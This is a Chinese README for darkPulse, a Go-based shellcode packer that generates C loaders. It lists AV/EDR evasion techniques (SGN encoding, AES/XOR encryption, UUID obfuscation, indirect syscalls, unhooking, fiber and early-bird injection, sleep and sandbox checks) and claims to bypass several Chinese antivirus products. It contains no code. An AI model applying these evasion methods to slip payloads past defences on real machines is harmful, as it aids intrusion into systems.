简介

darkPulse是一个用go编写的shellcode Packer，用于生成各种各样的shellcode loader,目前可过火绒，360，360核晶。

目前只实现了c语言的模板。

特点

• • 使用sgn编码，使用了EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements (github.com)提供的二进制文件。
• • 支持aes/xor加密，uuid/words混淆，支持间接syscall和unhook两种模式下的callback，fiber，earlybird三种加载方式。
• • 间接sysacll使用了SysWhispers3的项目，链接：klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)
• • unhook使用了自定义跳转函数的unhook方法 - root@Ev1LAsH ~ (killer.wtf)文中所讲述的方法，文中提到的github仓库https://github.com/trickster0/LdrLoadDll-Unhooking 只实现了64位下的demo，我在 fdx-xdf/LdrLoadDll-Unhooking-x86-x64 (github.com) 完善了32位和64位通用的一段代码。

使用方法

首先要配好gcc的环境，命令行运行gcc -v有反应即可

为了规避内存扫描会休眠10s左右，所以并不能一下就上线

在实战中推荐使用-sandbox参数，针对不同机器情况大概会休眠40s
